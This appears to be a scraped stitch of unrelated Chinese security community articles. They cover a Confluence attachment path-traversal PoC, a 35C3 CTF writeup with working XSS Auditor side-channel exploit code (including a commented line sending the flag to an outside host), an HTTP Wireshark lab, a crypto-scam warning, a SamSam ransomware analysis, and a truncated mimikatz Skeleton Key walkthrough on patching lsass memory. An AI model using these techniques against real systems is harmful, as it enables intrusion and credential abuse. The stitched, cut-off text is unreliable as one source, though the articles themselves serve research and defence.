在分析前我们应清楚哪里能调用`DownloadAllAttachments`，这样才方便调试。根据官方给出的临时修补措施，我们大致可以从附件管理的`Download
all attachments`这个地方入手：
#### 2.1 DownloadAllAttachments处理流程
`DownloadAllAttachments`位于`com.atlassian.confluence.pages.actions.DownloadAllAttachmentsOnPageAction`，为了便于快速的解释这个漏洞，我用动态调试+静态分析的方法来进行说明。
我这里选取的是默认生成的`Lay out your page (step 6 of 9)`这个页面的下载全部附件进行测试的：
代码非常简单，分两部分来看：
可以看到在这里首先会将附件中的所有文件的基础信息置于一个数组中，然后对数组进行遍历，然后执行以下操作：
1. 根据文件名创建一个新的`File`对象(tmpFile)
2. 将文件内容写入输入流
3. 将`FileOutputStream`输出流指向`File`对象
4. 将输入流中的内容拷贝到`FileOutputStream`输出流中
这样就完成了将文件拷贝到另外一个位置的操作。
这里的`attachment.getFileName()`：
而title名就是文件名：
`getTempDirectoryForZipping()`：
是根据时间和随机数生成的一个目录，格式类似于`download2q1gP165938`，这里我们通过方法的名字就能看出这里是建立了一个创建一个zip的目录，这个目录在`confluence_home/temp/`
ok，知道了这些，继续向下看`DownloadAllAttachments`：
这里是完成将zip目录打包成zip文件的过程。
在进行文件复制的时候，我们注意到文件的路径是zip目录与文件名直接进行进行拼接生成的：
而这里就是整个目录穿越的关键，也就是说在生成zip文件前，如果附件列表中有文件的文件名是`../../xxx`的格式的话，就能进行目录穿越，在任意位置创建文件。
#### 2.2 寻找利用链
默认情况下，我们是没有办法创建以`.`开头的文件的，如果想要上传一个文件名类似`../../xxx`的文件的话，最简单的思路是用burp中间改包，但是在这个例子中是不行的：
应该是进行了自动的过滤，这个方法行不通。我又注意到了在属性中好像能修改文件名：
但是也是不成功的：
就在我想要放弃的时候我尝试了一下编辑页面中的上传附件功能，竟然成功了：
在这里我点击`下载全部`，即可完成目录穿越：
我们来对比一下两种上传方式有什么不同。
##### 直接上传(FileStorer)
直接上传这里是调用的`com.atlassian.confluence.pages.actions.beans.FileStorer`，关键点在：
在获取文件名时会对请求中的文件名进行处理：
会将文件名提取出来。
##### 利用插件上传
在利用插件上传时用的是`drag-and-drop`这个插件在`com.atlasian.confluence.plugins.dragdrop.UploadAction`。
在处理请求时并未对请求中的文件名进行处理：
所以会保存我们恶意修改的文件名
至此该漏洞分析完毕。
### 0x03 构造POC
首先登陆后编辑附件数大于2个的页面，在页面中加入附件：
burp抓包修改上传文件的文件名：
在附件管理页面下载全部附件：
文件会生成到`/confluence_home/temp/zip文件名../../`目录中：
### 0x04 Reference
* <https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html>
* * * | 社区文章 |
353C CTF中的一道WEB题：<https://ctftime.org/task/7407>
## 题目说明
Check out my web-based filemanager running at
<https://filemanager.appspot.com>.
The admin is using it to store a flag, can you get it? You can reach the
admin's chrome-headless at: nc 35.246.157.192 1
题目一开始有两个方向，[WEB 应用](https://filemanager.appspot.com)和可以接触到的管理员入口 `nc
35.246.157.192 1`
nc 接口
nc 连上去之后 是需要解答一个题目，当结果正确时，就有机会输入一个网址，让管理员进行加载。
题目需要下载 nodejs proof-of-work 包进行运算，不是本题重点，不做重点说明。
WEB 应用
WEB 应用一共有三个输入点
1.创建文件：<https://filemanager.appspot.com/create>
可以直接post filename 和 content 参数值，也可以 使用创建文件的方式进行上传。
在header头中添加了自定义项 `xsrf=1`
2.文件读取：读取用户上传的文件：<https://filemanager.appspot.com/read?filename=test1>
只能使用GET 请求，响应头中定义了
content-type:text/plain
x-content-type-options: nosniff
3.文本查询：<https://filemanager.appspot.com/search?q=test1>
如果文本不存在 ，返回
<h1>no results</h1>
如果文本存在，返回：
<h1>test</h1>
<pre>def</pre>
<script>
(()=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = 'def';
let idx = text.indexOf(q);
pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
}
})();
</script>
请求url：
https://filemanager.appspot.com/search?q=def
其中${q} 为ES6占位符，导致引入了XSS注入点，在这里可以进行XSS注入。
但需要先创建文件，文件中含有该字串，然后再查找。
所以当时有思路：1.是构造一个csrf页面 2.发送给管理员load访问，创建文件 3.load查询页面 4.触发XSS读出数据
但是因为输入1有自定义防csrf头，此路不通。
如果用dnsrebinding可以绕过同源策略发送读取请求，但是需要用户凭证（cookie）。
官方writeup很有意思，利用了XSS Auditor，使用侧信道方式读取了flag。
## XSS Auditor 利用原理
Chrome 的XSS Auditor 有个特性：当在请求中发现了源码中的脚本，则会阻止此次请求，跳转到chrome-error://chromewebdata/。
测试 Chrome 版本： 71.0.3578.98（正式版本） （64 位）
设target.php 页面为
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$password = @$_GET["password"];
if($password==='admin'){
echo "you get it." ;
echo "<script>var a='aaaaaa';</script>";
}else{
echo "guess error!" ;
echo "<script>var b='bbbbbb';</script>";
}
?>
</body>
</html>
访问target.php 页面
http://127.0.0.1:8090/uploads/target.php?XDEBUG_SESSION_START=19655&password=admin1&%3Cscript%3Evar%20b=%27bbbbbb%27;%3C/script%3E
页面会被拦截：因为输入password=admin1 进入 guess error，页面返回脚本 <script>var
b='bbbbbb';</script> 与输入相同。
http://127.0.0.1:8090/uploads/target.php?XDEBUG_SESSION_START=19655&password=admin&%3Cscript%3Evar%20b=%27bbbbbb%27;%3C/script%3E
页面不会被拦截：进入 you get it， 页面返回脚本 <script>var a='aaaaaa';</script> 与输入不同。
Chrome url 长度有限，需不需要输入完整的url了，可以用如下target页面进行测试，不需要所有的script
脚本，甚至script脚本不需要闭合，即</script>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$password = @$_GET["password"];
if($password==='admin'){ // 这里模拟我们要猜测的值
echo "you get it." ;
echo "<script>var a='aaaaaa';</script>";
echo "<script>var a1='testa';</script>";
}else{
echo "guess error!" ;
echo "<script>var b='bbbbbb';</script>";
echo "<script>var b1 = 'testb';</script>";
}
?>
</body>
</html>
## 侧信道读取数据
源writeup引用了<https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning>中的一个tips：
iframe的onload特性：不论访问的目标是否有服务监听，都会触发onload事件。
当Chrome的请求链接被阻止后，实际的url会变为 chrome-error://chromewebdata/
读取过程：
设iframe.src="<http://example.com>"
1. 请求iframe.src，触发一次onload事件。
2. 给iframe.src末尾添加#(url后添加#)，再次进行请求
3. 如果第一次请求被blocked，第二次实际请求的url为chrome-error://chromewebdata/#,与第一次不相同，会触发第二次onload
4. 如果第一次链接正常，第二次请求的url为<http://example.com#，url地址没有改变。不会触发第二次onload。>
对于onload设置计数器即可检测onload行为。
## 利用代码
如果password字串是相互独立且唯一的，那么就可以使用侧信道的方式读取password参数，只需要受害者访问精心构造的页面，便可以通过侧信道读取出password数据
接下来对源writeup中的代码进行分析，和部分修改。
<html>
<head>
</head>
<body>
hello world!
<script>
var URL = 'https://filemanager.appspot.com/search?q={{search}}&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b';
// URL q={{search}} 为查询字符串，如果search 的字串存在，则会返回后面的script脚本，所以正确返回后，会触发XSS Auditor拦截
var charset = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~';
//构造爆破字符串
var brute = new URLSearchParams(location.search).get('brute') || '35C3_';
//题目给出提示 flag 开头为35C3,此种侧信道信息读取方式无法肯定从开头开始匹配，需给出不会重复的开头字段
function guess(i){
if(i>=94)
return ;
//字符串一共94位，没有匹配到的项则结束
var go = brute + charset[i];
var x = document.createElement('iframe');
x.name = 'blah';
var calls = 0;
//设置计数为0
x.onload = () => {
calls++;
//每一次onload完毕，计数加1
if(calls > 1){
// so here is calling 2nd onload which means the xss auditor blocking this and the page is redirected to chrome-error://
// https://portswigger.net/blog/exposing-intranets-with-reliable-browser-based-port-scanning
console.log("GO IT ==> ",go);
brute = go;
i = -1;
//递归匹配
//location.href = 'http://deptrai.l4w.pw/35c3/go.html?brute='+escape(go);
//x.onload = ()=>{};
//为本地测试环境，不用location.href将数据外带，只需要使用console.log 满足
}
var anchor = document.createElement('a');
anchor.target = x.name;
anchor.href = x.src+'#';
anchor.click();
anchor = null;
//url 后添加# 再次请求
}
x.src = URL.replace('{{search}}',go);
document.body.appendChild(x);
timer = setTimeout(() =>{
document.body.removeChild(x);
guess(i+1);
},2000);
//本地测试，因人而异
}
guess(0);
</script>
</body>
</html>
注意 设置setTimeout的时间，onload
是iframe加载完后才进行触发，源writeup定时为1000ms，测试情况下很可能因为网络原因需要修改定时器计时，避免因为请求未完成导致onload未触发。
给出的FLAG为 `35C3_xss_auditor_for_the_win` ，没有特殊字符，在实际测试中，url中的特殊字符`#`之类会造成一定干扰
## 参考链接
1. [官方writeup](https://gist.github.com/l4wio/3a6e9a7aea5acd7a215cdc8a8558d176)
2. <http://wonderkun.cc/index.html/> | 社区文章 |
# 网络协议——HTTP
## 实验目的
掌握HTTP协议的通信方式
了解HTTP请求中不同字段的作用
了解HTTPheader中状态码的作用
掌握使用wireshark提取HTTP传输文件的方法
## 实验环境
* 操作机：Windows XP
* 实验工具：
* Wireshark2.2
* chrome
* notepad++
* 看图工具
## 实验内容
听说用户在网站上下载了一个好玩的图片？是什么呢？
### 实验一 了解HTTP协议
HTTP协议即超文本传输协议，由TCP承载，实际上是基于TCP建立的可靠连接，进行数据传递。wireshark根据一个数据包既是TCP包，它的来源和目的端口是80(HTTP端口)，对它进行http协议数据包格式的解析，并识别成HTTP数据包。我们可以通过分组详情和TCP的标志位PSH，看出来：
### 实验二 HTTP状态码-重定向
#### 方法一 理解http请求
wireshark载入HTTP.pcapng流量包。根据上节实验，我们可以得到前三个数据包是192.168.233.1向192.168.233.131请求建立一个TCP连接的过程。请求连接的目的端口是80，即HTTP端口。第四个是向服务端发送的HTTP请求。
我们打开Hypertext Transfer Protocol，可以看到分组详情中`GET /move.php
HTTP/1.1\r\n`，展开之后，GET即请求方法，请求的URL是/move.php，采用的HTTP协议版本是1.1。
紧接着是请求的Host字段，即请求的ip地址或域名。后面的字段内容我们等下会讲到。
##### 注释
HTTP请求的方法有很多：GET、HEAD、POST、PUT、DELETE等等，常用的有GET,POST等等。GET常用语请求某种资源，而POST则常用于向服务器发送数据等等。HTTP协议版本目前最新的是2.0，目前常用HTTP1.1.
#### 方法二 分析HTTP返回包
我们可以通过刚才第四个数据包分组详情中的Response in frame：6
判断这个请求包的响应包位置，也可以通过wireshark在分组列表点击对应包，前面的小箭头确认发送包和回包，如下图中分组列表中No列的小箭头：
现在分析这个返回的数据包，同样展开分组详情中`HTTP/1.1 301 Moved
Permanently\r\n`，可以得到HTTP版本1.1，Status Code(状态码)301，状态报告：临时移动(重定向)。
注意下面有一个Location，当我们的状态码是301/302重定向的时候，Location字段的内容告诉浏览器应该去请求这里的内容，浏览器转而向这个地址发送GET请求。就是将当前页面重定向到了另一个页面。在当前数据包情况下，我们可以得知访问move.php，重定向到了this.php。这样我们跟踪流量包，可以看到序号为7的数据包请求了this.php这个页面。这样我们就明白了HTTP状态码301的作用。
### 实验三 404和200状态码
#### 方法
在这个流量包中，序号8，14，19都返回了HTTP状态码200.200表示OK，即没有问题的把你请求的东西给你。序号11的数据包返回的HTTP状态码404，404表示没有找到，即请求的资源在该服务器上没有找到。这个场景是我们大多数的浏览器在访问一个web页面的过程中都会主动请求这个网页的图标，当然这个也页面没有设置图标(favicon.ico)的时候，返回的就是404.
### 实验四 HTTP协议字段详解
请求中常见：
Referer，这个字段的作用是标记来源页面，允许服务器生成回退链表，可用来登陆、优化cache等。在这个流量包中，序号16的数据包是包含referer字段的，因为我们通过download.html点击了一个图片文件，这是浏览器去请求这个图片文件的时候就会带上Referer这个字段，告知服务端来源页面。
User-Agent，用于发送用户端信息，如当前操作系统版本，浏览器版本，内核版本等等，方便服务端根据不同UA判断浏览器，提供更好的服务，也常被用来绕过一些浏览限制。UA的标准格式为：`浏览器标识
(操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识 版本信息`。见上图`Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71
Safari/537.36`，我们可以得到使用了chrome54.0.2840.99，浏览器内核WebKit 537.36，windows 10
64位操作系统(Windows NT 10.0内核版本号)等等。
Cookie，用于辨别用户身份。
Cache-Control，指定请求和响应遵循的缓存机制。
Accept，指定可以接收的内容：
* accept_encoding，接受的压缩方法等等
* accept_language，接受的语言
响应中常见：
Server，标识服务器信息
Date，时间信息
Content_type，返回内容类型
Content_length_header，内容长度
Last_modified，最后编辑，用于优化缓存
Connection，是否终止TCP连接
### 实验五 HTTP信息提取
网页提取：
比如我们要提取download.html也买年内容，可以选择返回的HTTP内容的包，即序号为14的数据包。展开分组详情，最下面是Line-based
text data: text/html。在这里右键，选择导出分组字节流，或者选中之后Ctrl+H，将内容导出，并命名成对应的文件类型，使用浏览器打开。
图片提取：
同理，在当前流量包中包含有一个xianyu.jpg的图片请求，我们找到对应的返回包。在wireshark的分组详情中，显示为`JPEG File
Interchange Format`，同理右键导出分组字节流，保存为jpg格式，打开即可。我们得到了：
根据download.html的内容即可获知xianyu.jpg为用户下载的文件。 | 社区文章 |
# 加密货币暴涨几十倍？是发财契机吗？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，稳坐币圈热度头号交椅的狗狗币和shib，价值暴涨暴跌无疑成为备受瞩目的加密货币，在全球范围引起社交和网络狂欢。“最佳带货王”马斯克的站台，让狗狗币一夜之间暴跌；紧接着，shib也经历了涨跌，一夜之间天上地下。
世界通过比特币认识了区块链，也让无数人都重新燃起了一夜暴富的梦。由于虚拟货币市场的火热，市面出现了众多借助虚拟货币名义实施诈骗诈骗或非法集资的项目，不少平台打着虚拟货币、数字货币的口号，目的就是为了引导用户不断拉下线获利，表面炒高虚拟货币价值，私底下却干着大量资本套现的勾当，坑的就是一波波“韭菜”！
## 虚假理财平台
### 诈骗过程
**即以荐股为名，吸引用户在虚假平台投资，骗取资金。**
### 主要手段
使用喊单系统制作可伪造观众、点评等数据的直播授课系统，使用微盘系统搭建含指定客户亏损功能的虚假理财平台。
## 云矿机
市面上还存在虚拟货币挖矿服务提供商，此类服务商提供矿机、网络、运行维护等服务，用户只需缴纳一定的租用、托管服务器的费用，选择所需挖矿的类型。所挖的币可在平台出售，即可获得收益。
由于虚拟货币市场不稳定，很多虚拟货币价格暴跌，大批炒币者损失惨重。同时，矿机市场云龙混杂，更多的是 **假借矿机的名义干着像云养殖一样的资金盘骗局。**
## 空投项目
空投原指飞机输送装备和物资，从空中投送到指定地点。空投项目指的是部分虚拟货币在推广的早期会以免费送的方式或以项目刚起步挖矿难度低的名义吸引用户关注进场，可以理解为空投项目就是刚诞生的虚拟货币平台项目。但
**空投项目与传统意义上的虚拟货币存在很大的不同** ，此类平台中大部分只是包装了区块链、虚拟货币名义， **以拉人头获分成的资金盘骗局。**
## 虚拟货币交易平台风险分析
**隐私信息泄露，资金或被盗刷**
通常此类平台注册需实名认证，提交身份证照片、银行账号、手机号等重要隐私信息。如果个人信息被利用，很可能出现资金盗刷风险。
**投资成本难以收回**
虚拟货币市场不稳定，价格波动也很大，普遍出售价格远低于买入价格而亏损。
**货币价值无法保证**
平台自行发售的虚拟货币，市场认可度较低。且多数平台涉及传销，一旦平台跑路，其发行的货币价值为零。
**云矿机运行状态无法保障**
矿机服务商鱼龙混杂，用户购买的矿机无法自己操作，无法确保矿机的运行状态。
**虚拟货币交易不合法**
虚拟货币交易不在法规的保护之内，用户的权益无法保证。
## 透视虚拟货币的本质
虚拟货币到底是什么呢？是逆风翻盘的发财契机，还是资本家的转场“游戏”？虚拟货币从本质上来说是网络中的字符串，其本身无价值，币种之间本质也无差别，与市场流通的货币挂钩、取得国家机构的认可、或获得绝大多数人的认可才会产生相应的价值。比特币正是由于得到部分国家、市场的认可，才有了今天看起来所谓的价值。但由于不确定性极强，更像一种赌博押宝式的“投机”工具，一旦出现崩盘，很可能一夜之间价值灰飞烟灭。卫士妹只能提醒各位，谨慎投资。 | 社区文章 |
# 攻打医院服务器的SamSam勒索木马分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
近日一款名为SamSam的勒索木马在国外爆发。该木马利用医院系统的服务器漏洞实施入侵,再进行加密勒索钱财。由于医院网络信息安全水平普遍薄弱,SamSam成功感染了国外多家医院,而其他行业也存在相当大的风险。
此前,勒索软件主要以个人电脑和手机用户为攻击目标,SamSam的出现,意味着勒索软件攻击企业服务器,甚至攻击整个企业网络已经成为此类网络犯罪产业新的攻击方向。为此360安全中心QVM团队对SamSam样本进行了深入分析,并提醒广大企业加强网络安全防护,注意及时打补丁修复服务器端的漏洞。
简介:
这是一款.Net平台的勒索程序,有SamSa, Samas, samsam等多个变种,根据shodan的结果,中美可能是受到影响最大的地区。
这里分析的是由Cisco
Talos观察到的利用JBoss漏洞传播的主要以医院为目标的样本。尽管国内尚未出现SamSam感染迹象,但根据360网站安全检测平台的扫描结果,国内大量网站存在该漏洞并迟迟不修复,因此也很容易遭到勒索木马的入侵。
样本概况:
勒索软件运行后的提示:
可以对344种类型的文件进行加密,其中覆盖常见的文本文件、网页文件、代码文件、数据库文件:
工作流程:
样本细节:
从资源释放del.exe和selfdel.exe用于后续删除操作,一秒延迟后开始遍历各个驱动器的文件,寻找后缀名为jin,xls,xlsx,pdf,doc等文件(见概况中的支持类型)
删除卷影副本,防止用户恢复
判断找到文件的权限,若有进程占用则会调用taskkill杀掉进程。
判断文件所在磁盘空间是否足够,开始准备加密文件,加密前若发现同目录下有对应的.encrtptedRSA文件则先删掉再加密,加密后还会将提示串(见概况中的相关提示)写入到文件对应路径下的helpfile.txt里:
加密部分
后缀:.encryptedRSA(加密时的临时文件)
后缀:.manifest.xml(未使用)
RSA公钥 Publickey:
<RSAKeyValue><Modulus>iZSePJbXO0X051HqrxFws0kSfVH058n/jZloDWhWLY43W43HlvaJQnIyc76jrQxsDwYoNcs/uu55B5wTjNoIcpjxMZ8fFVqxuF+PoCEcu4nsT89/ejHYE4eGf5ihvTDsEjOEZkj9ZxbWY2vOzdptgAgk9uoSrWmQQYDRHnhWD5+mfvNwhcLw4XwSi3EMZ0anXD5DpMCwv6OEsexG2OGAtyGgyG9gYX79yAeQrfuZ23IfB8wORF/9au8gEG7aXpMXAmJglAmORmJux9y2BjHOMJBdto7CGJI7jj1vKqNiOxYpYYUmtC4Uw91pvIQV7fWwiDrewssxciwW8bVyZALy3Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";
生成字节数分别为64,16,16的三个随机数作为signatureKey、key和iv:
先向.encryptedRSA文件头填充大小为0xc00的0,块大小为0x2800,并关闭原始文件相关进程
使用[Rijndael](https://msdn.microsoft.com/zh-cn/library/system.security.cryptography.rijndael.aspx)
算法配合之前生成的key和iv,将文件本身的内容加密并写入对应的.encrtptedRSA文件:
将之前生成的signatureKey作为sha256的key来算文件的sha256
再讲所有用到的key RSA2048
拼接所有内容写入encrtptedRSA文件头:
待encryptedRSA都准备完毕后删除原来的文件:
总结:
该样本使用RSA 2048来保存加密文件时的key,作者可解析头部"<MtAeSKeYForFile>", sn, "<Key>", str,
"</Key>", sn, "<IV>", str2, "</IV>", sn, "<Value>", str3, "</Value>", sn,
"<EncryptedKey>", str4, "</EncryptedKey>", sn, "<OriginalFileLength>",
info.Length, "</OriginalFileLength>", sn,
"</MtAeSKeYForFile>"的串来得到加密后的数据,再使用私钥解密各个字段得到的加密文件时使用到的key,iv等信息,进而还原加密后的文件。
针对SamSam等勒索木马,360安全卫士在不断更新强化防护能力,可以在木马运行前将其拦截,全方位保护用户的数据和财产安全。 | 社区文章 |
1.背景介绍
2015年1月2日，Dell
Secureworks共享了一份关于利用专用域控制器（DC）恶意软件（名为“SkeletonKey”恶意软件）进行高级攻ji活动的报告，SkeletonKey恶意软件修改了DC的身份验证流程，域用户仍然可以使用其用户名和密码登录，攻ji者可以使用Skeleton
Key密码作为任何域用户登录
(<http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/），2015> 年 1 月 17 日Benjamin Delpy更新了Mimikatz使其也能进行Skeleton
Key攻ji，我们今天分析的主要内容也就是mimikatz的misc::skeleton功能。
2.模块详细分析
misc::skeleton功能模块在kuhl_m_misc.c文件中，从该c文件开头可以看到作者定义了一个结构体数组用来存储当前misc模块中具体有哪些功能，该结构体有3个成员第一个是功能函数，第二个是启动该功能的参数，第三个是功能描述所以我们今天要分析的skeleton在这个kuhl_m_misc_skeleton函数中启动命令为misc::skeleton暂无描述，可以看到其他该misc模块是有很多功能是日常使用中也没有用上后续可以挖掘功能
所以我们在这个kuhl_m_misc_skeleton函数下个断点当我们执行misc::skeleton时就可以执行到这里开始调试，在该函数开始前还定义一个数组存储了一个字符串Kerberos-Newer-Keys，这是个很重要的字符串后续用到的时候详细解释
可以看到函数开始定义了很多变量,可以看到extensions结构体初始化了一些值，我们查看一下这个结构体可以发现该结构体成员有4个从名称大概可以猜出来分别为模块，功能，替换的值，指针，这样我们大概就可以这个结构体数组是什么了第一个结构体就是模块是kernel32.dll，localAlloc函数，替换的值为0X4a4a4a4a4a,指针为NULL，从现在来看这个结构体大部分内容是没意义的还有很多为NULL的
接下来又定义了一个结构体exforcb来存储extensions以及extensions的大小，判断当前Mimikatz的版本号是否小于vista系统的版本号这里我们的软件版本11是大于宏定义的visita系统5000的或者传入命令参数是否有letaes我们这里传入的是misc::skeleton所以两个判断都不为真onlyRC4Stuff为0
这样也才能进入下面的功能操作。接着利用RtlZeroMemory函数初始化orig结构体填充0
接下来用RtlInitUnicodeString函数计算出Kerberos-Newer-Keys字符串的长度并将该字符串以及长度保存在orig结构体中
接下来传入lsass.exe到kull_m_process_getProcessIdForName函数中用来获取lsass进程的pid，该函数主要通过NtQuerySystemInformationAPI函数来获取
【安全研究】从mimikatz学习万能密码_Windows安全_07
接下来利用openprocess函数传入开始lsass进程的pid来获取lsass进程的句柄，然后将KULL_M_MEMORY_TYPE_PROCESS,lsass进程的句柄，&alsass.hmemory传入kull_m_memory_open函数中，alsass也是kuhl_m_misc_skeleton函数一开始定义的结构体里面有2个成员一个存储地址的指针，另一个成员又是一个结构体主要表示当前句柄的类型或者内存的属性
跟进这个函发现会根据传入的参数走KULL_M_MEMORY_TYPE_PROCESScase该函数主要就是给alsass.hmemory结构体赋值
接下来由于onlyRC4Stuff为0所以可以进入里面的流程我们看到kull_m_process_getVeryBasicModuleInformationsForName传入了3个参数开始的alsass.hmemory，kdscsvc.dll字符串，和另一个cryptinfos结构体的引用这个结构体主要是一个存储模块的基础信息成员有模块基地址，模块大小，时间戳，没有公开的函数
跟进函数其实该函数主要是通过kull_m_process_getVeryBasicModuleInformations函数获取kdscsvc.dll的详细信息，kull_m_process_callback_moduleForName是个回调函数主要是用结构体赋值的
进入函数主要是跟内存属性走不同case通过peb和ldr遍历进程的模块来获取kdscsvc.dll的详细信息
跟进kull_m_process_peb函数可以看到根据不同内存属性来走对应的case获取peb信息，这里是通过NtQueryInformationProcessAPI获取
由于VS是3环调试器无法读取到内核的信息，我们可以搭建双机调试使用windbg读取一下0x0000008f85514000PEB结构体信息
函数最开始有定义一个结构体来存储peb相关信息，使用kull_m_memory_copy函数根据不同的内存属性调用不同的内存拷贝函数这里调用的ReadProcessMemory函数
主要是利用PEB找到LDR以及双向链表InLoadOrderModuleList来遍历lsass进程模块找到kdcsvc.dll
可以看到确实获取到了kdcsvc.dll的模块信息并把信息存储在cryptInfos结构体中
接下来将Kerberos-Newer-Keys字符串指针传递给alocal结构体中，刚刚获取到kdcsvc.dll的基地址以及dll的大小传递到smemory结构体中这两个结构体的属性见下图也是函数开始定义的，将2个结构体以及字符串长度传入kull_m_memory_search函数中
跟进这个函数首先定义了一个跟参数search一样的结构体并把属性定义为了KULL_M_MEMORY_GLOBAL_OWN_HANDLE这个结构体存的是KULL_M_MEMORY_TYPE_OWN属性，这里因为下面流程根据参数里面的内存属性走了KULL_M_MEMORY_TYPE_PROCESScase然后作者就使用kull_m_memory_copy函数（里面跟进内存属性走对应的case这里使用了ReadProcessMemory函数拷贝）将search结构体内容都拷贝自己定义的sbuffer结构体中然后又再次调用kull_m_memory_search函数进入这个函数由于sbuffer结构体成员属性作者定义为了KULL_M_MEMORY_TYPE_OWN所以会走KULL_M_MEMORY_TYPE_OWN的case
进入KULL_M_MEMORY_TYPE_OWNcase后利用for循环从kdcsvc.dll的首地址2c28dde0080开始查找Kerberos-Newer-Keys字符串，由于最后匹配上之后继续执行了一次curentPtr++后续通过currentptr--调整回来指向kdcsvc.dll中Kerberos-Newer-Keys字符串的正确地址
由于search结构体中存储了kdcsvc.dll内容但是没办法直接在其内存中搜索字符串将其拷贝到sbuffer后然后在sbuffer中找到Kerberos-Newer-Keys字符串并计算其偏移再加上kdcsvc.dll真实的首地址就获得了该字符串的真实偏移通过windbg中查询数据可以看到
所以到这里kull_m_memory_search目的就是找Kerberos-Newer-Keys字符串在kdcsvc.dll中的位置。
kdcsvc.dll是windowsserver系统上才有的dll文件如果是域控服务器的话lsass进程会加载该dll作为kdc服务来颁发piao据
ntds.dit数据库文件有个补充凭证（supplementalCredentials）属性该属性中又包含了Kerberos-Newer-Keys属性存储了明文密码的加密hash，kerberos-Newer-Keys可以设置各种加密属性比如AES加密的话会涉及salt参加加密，但是RC4-HMAC加密就不涉及salt了。Kerberos新的加密类型（如AES）会要求将salt字符串（通常是用户名）添加到密钥派生函数中，要使不同用户的密码相同，需要创建不相同的加密密钥。如果攻ji者要支持AES加密的话需要离线计算并存储所有域用户的密钥，这需要大量内存；或实时计算相关用户的密钥，这可能会导致DC的性能问题，但RC4-HMAC不涉及salt,所有用户的骨架RC4-HMAC密钥不变，所以攻ji者一般会采取RC4-HMAC加密。
其中在WIN2008及其更新的版本中必须创建一个KERB_STORED_CREDENTIAL_NEW结构体。然后必须将此值
与属性名称“Primary:Kerberos-Newer-Keys”一起放置在USER_PROPERTY结构中才能放在补充凭据中使用，USER_PROPERTY如下图
由于USER_PROPERTY结构体中包含了Kerberos-Newer-Keys字符串所以接下来又通过kull_m_memory_search函数从kdcsvc.dll中搜索该结构体的位置
0x7ffa33072b60就存储了该USER_PROPERTY结构体,其中属性名称是7ffa33066a8指向Kerberos-Newer-Keys字符串
接下来通过rtlzeromemory函数将orig结构体置0然后通过kull_m_memory_copy函数将kdcsvc.dll中的USER_PROPERTY结构体也置0了
调用writeprocessmemory函数将7ffa33072b60地址处16字节的数据置0
数据拷贝后内存值可以看到Kerberos-Newer-Keys包没有了这样就可以保证没办法使用带salt的AES加密方法了
我们可以通过ida打开kdcsvc.dll查看具体的Kerberos-Newer-Keys包的使用细节发现是SamIRetrieveMultiplePrimaryCredentials函数调用的
由于SamIRetrieveMultiplePrimaryCredentials函数是samsrv.dll的导出函数所以想知道具体的返回值我在samsrv.dll中进行了分析SampExtRetrieveMultiplePrimaryCredentialsDs是其主要实现
我们跟进函数然后发现SampLoadDsExtensionDll函数继续跟进分析
发现该函数会查询注册表是否有DirectoryServiceExtPt值我的域控是2016的看了一下没有这个值
接下来会继续尝试加载该文件由于没有所以走下面的else返回0xc00000BB
通过微软官方文档查询报错值发现是不支持该请求类型的错误STATUS_NOT_SUPPORTED，keberos认证流程中客户端会在AS-REQ中声明自己支持的所有加密类型etype，域控会并检查客户端是否支持AES如果客户端支持则域控会在AS-REP的PA-ETYPE-INFO2中响应对应的加密方式。但如果客户端支持的加密类型中有AES，但DC并没有回应对应的AES加密类型，并且报错类型是STATUS_NOT_SUPPORTED很大可能受到了skeleton攻ji
我这里测了一下skeleton攻ji并抓取了流量包，客户端发送的AS-REQ请求存在AES加密
但是域控的响应中却没有AES加密同时确实是报错STATUS_NOT_SUPPORTED
我们继续看下kdcsvc.dll的流程在域控通过kdcgetuserskey函数接收到用户的密码后不单单是会走SamIRetrieveMultiplePrimaryCredentials函数同时会将密码传递给kerbhashpassword函数最终调用cryptdll.dll的导出函数CDLocateCSystem选择对应的加密系统对用户传入的凭据进行处理
接下来就可以看到mimikatz继续利用kull_m_process_getVeryBasicModuleInformationsForName函数也是通过pebldr从lsass进程中获取cryptdll.dll的模块信息，同时获取了该dll的句柄保存在localaddr中
然后通过CDLocateCSystem函数找到RC4类型的加密系统存储在pCrypt结构体中，可以看到该加密类型的一系列函数存储在结构体中
接下来给最开始定义的extensions赋值，将cryptdll.dll!rc4HmacInitialize，cryptdll.dll!rc4HmacDecrypt函数地址传入
接下来kull_m_remotelib_CreateRemoteCodeWitthPatternReplace函数中传入了几个函数名其实是传入函数的地址
第一个参数是lsass进程的内存属性，第二个是rc4_init函数的地址，第三个参数rc4_end函数地址-rc4_init函数地址代表的是rc4_init到rc4_end之间的内存内容其实这块空间包含了init函数decrypt两块函数内容，第四个参数是存储extensions的结构体指针，第五个参数是lsass进程的指针
